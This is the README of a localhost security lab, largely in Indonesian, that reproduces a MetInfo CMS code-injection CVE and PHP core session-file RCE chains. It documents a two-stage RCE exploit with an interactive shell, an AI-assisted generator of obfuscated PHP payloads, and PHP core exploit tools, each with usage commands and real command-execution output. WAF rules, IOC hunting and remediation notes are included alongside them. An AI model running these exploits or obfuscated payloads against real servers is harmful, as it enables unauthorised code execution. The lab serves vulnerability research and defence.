Localhost-only lab replicating MetInfo CMS CVE-2026-29014 and PHP core CVE-2026-109618/109619, with verified RCE exploit chains, AI-assisted payload generator, and defense artifacts.
All exploits in this repo run only on
127.0.0.1. The lab uses a replica of vulnerable code rewritten from public advisories — not a production CMS installation being targeted. There are no third-party targets.
This lab answers one question: "in the age of AI, it should be easier to create payloads for carrying out RCE attacks" — with runnable and verifiable proof, not claims.
$ python3 verify/verify_lab.py
[INFO] lab dinyalakan di :8098
[PASS] lab server menyala -- HTTP 200
[PASS] endpoint meniru perilaku MetInfo -- HTTP 200 body='success'
[PASS] RCE (eksekusi perintah) -- VERIFY-42-1000
[PASS] write primitive (cache/weixin/Array.php) -- 156 byte, berisi payload: True
[PASS] 6 varian payload AI-assisted -- berhasil: 6/6
[PASS] deteksi IOC artefak penyerang -- critical finding
[PASS] diferensial PHP core (CVE-2026-109618) -- vulnerable=OOM:True patched=200:True
== 7/7 pemeriksaan lolos ==
verify_lab.pyis hermetic: it spins up its own lab instance on port8098(separate from the manual lab on8099), then shuts it down again at the end. So the results are never mixed up with a lab from another checkout. The lab server sends theX-Lab-Rootheader so the verifier can confirm that the instance being used really belongs to it.
| Directory | Contents |
|---|---|
lab/ | Vulnerable MetInfo replica (CVE-2026-29014) + php -S server on 127.0.0.1:8099 |
exploit/ | exploit.py (2-stage RCE) + payload_gen.py (AI-assisted payload generator) |
exploit/php2shell/ | Lab & 5 PHP core exploit tools (CVE-2026-109618/109619) — 12 vulnerable vs patched instances |
core-cve/ | PHP 8.4.11 (vulnerable) vs 8.4.27 (patched) differential for CVE-2026-109618/109619 |
defense/ | WAF rules, php.ini & Apache hardening, IOC hunting scripts, runtime mitigation checks |
notes/ | Root cause analysis, viral CVE map, role of AI, remediation checklist (Indonesian) |
verify/ | End-to-end verification script, hermetic (own instance on :8098), CI-ready |
| CVE | Komponen | Severity | Status di lab |
|---|---|---|---|
| CVE-2026-29014 | MetInfo CMS ≤ 8.1 — unauthenticated PHP code injection | 9.3 | RCE penuh, terverifikasi |
| CVE-2026-109618 | PHP core — RCE via OOM corruption | 9.2 | RCE terverifikasi (Chain D: OOM startup → file session basi → RCE) |
| CVE-2026-109619 | PHP core — RCE via stale global state | 9.2 | RCE terverifikasi (Chain A/C via file session) + UAF (Chain B) |
| CVE-2026-6722 / 7261 / 7262 | ext/soap — UAF | Critical | Ditinjau, tidak dieksploitasi penuh |
| CVE-2026-17544 | ext/bcmath — OOB write | High | Ditinjau |
| CVE-2024-4577 | PHP-CGI argument injection | 9.8 | Tidak reproducible (Windows only) |
Important note about the patch. For PHP 8.4.27, only Chain D is actually closed by the patch. Chains A, B, C, and E (FFI) still work on 8.4.27 because the root cause is in
ext/session, which that patch does not touch. What closes all four at once is the configuration mitigationsession.upload_progress.enabled = 0. Details inexploit/php2shell/README.mdandnotes/04-php2shell-chains.md.
requestscd lab
setsid nohup python3 serve.py --port 8099 > /tmp/lab.log 2>&1 & disown
cd ..
# RCE satu perintah
python3 exploit/exploit.py -t http://127.0.0.1:8099 -c 'id'
# Shell interaktif
python3 exploit/exploit.py -t http://127.0.0.1:8099 --shell
Contoh output nyata:
$ python3 exploit/exploit.py -t http://127.0.0.1:8099 -c 'id; uname -a'
[+] tahap 1 (write cache/weixin/Array.php): HTTP 200 'success'
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),...
Linux kali 6.12.38+kali-amd64 #1 SMP PREEMPT_DYNAMIC ...
No need to start the lab manually — the verifier will start its own instance:
python3 verify/verify_lab.py # hermetik, instance sendiri di :8098
python3 verify/verify_lab.py --json # output JSON untuk CI
python3 verify/verify_lab.py --skip-core
python3 verify/verify_lab.py --target http://127.0.0.1:8099 # pakai lab yang sudah jalan
python3 verify/verify_lab.py --php2shell # + matriks rantai php2shell (butuh labctl start all)
Exit code 0 only if all checks pass. A fresh checkout cloned
from this repo can be verified directly without additional steps.
# Lihat semua varian
python3 exploit/payload_gen.py --list
# Cetak payload dalam berbagai bentuk
python3 exploit/payload_gen.py -c 'id' --variant eval_b64 --emit php
python3 exploit/payload_gen.py -c 'id' --variant complex_curly --emit curl
# Bangkitkan + uji semua varian terhadap lab
python3 exploit/payload_gen.py -c 'id' --validate
[+] complex_curly RCE OK -> uid=1000(kali) gid=1000(kali) ...
[+] eval_b64 RCE OK -> uid=1000(kali) gid=1000(kali) ...
[+] chr_chain RCE OK -> uid=1000(kali) gid=1000(kali) ...
[+] hex_escape RCE OK -> uid=1000(kali) gid=1000(kali) ...
[+] gzip_b64 RCE OK -> uid=1000(kali) gid=1000(kali) ...
[+] raw RCE OK -> uid=1000(kali) gid=1000(kali) ...
berhasil: 6/6
Requires libphp8.4.so version 8.4.27 (patched). This module is not included in the
repo (Debian binary). Prepare it yourself in any directory:
mkdir -p ~/pkgs/modphp && cd ~/pkgs
curl -sO "http://security.debian.org/debian-security/pool/updates/main/p/php8.4/libapache2-mod-php8.4_8.4.27-1~deb13u1_amd64.deb"
dpkg-deb -x libapache2-mod-php8.4_8.4.27-1~deb13u1_amd64.deb modphp
Run (the patched module path is provided via the FIXED_MOD environment variable):
cd core-cve
FIXED_MOD=~/pkgs/modphp/usr/lib/apache2/modules/libphp8.4.so ./apache_diff.sh start
# :8091 = 8.4.11 (vulnerable) :8092 = 8.4.27 (patched)
./run_diff.sh # reproduksi semua pengukuran
./apache_diff.sh stop
Tanpa
FIXED_MOD, skrip memakai/usr/lib/apache2/modules/libphp8.4.so(versi bawaan sistem) untuk kedua sisi dan akan menolak jalan bila modul patched tidak ditemukan.
Hasil utama (detail di core-cve/RESULTS.md):
| header per part | wire | 8.4.11 | 8.4.27 |
|---|---|---|---|
| 100.000 | 0,38 MB | 31.549.960 B heap | 350.104 B |
| 200.000 | 0,76 MB | HTTP 500 — OOM saat startup | 350.104 B |
→ ≈79× amplifikasi memori pada build vulnerable; build patched memakai memori konstan.
Modul terpisah dari exploit MetInfo: yang diuji di sini adalah PHP core,
dan jalur serangannya lewat file session (bukan file .php di direktori cache).
# 1. unduh artefak build PHP (patched 8.4.27, vulnerable 8.4.24) ke ~/pkgs
bash exploit/php2shell/setup_artifacts.sh
# 2. nyalakan 12 instance lab (vulnerable vs patched, Apache vs FPM)
python3 exploit/php2shell/labctl.py start all
python3 exploit/php2shell/labctl.py status all
# 3. jalankan salah satu tool
python3 exploit/php2shell/chain_a_session_lfi.py -t http://127.0.0.1:8093 -c 'id'
# 4. matriks verifikasi semua rantai x semua instance
python3 exploit/php2shell/verify_chains.py --markdown
# 5. bersihkan
python3 exploit/php2shell/labctl.py stop all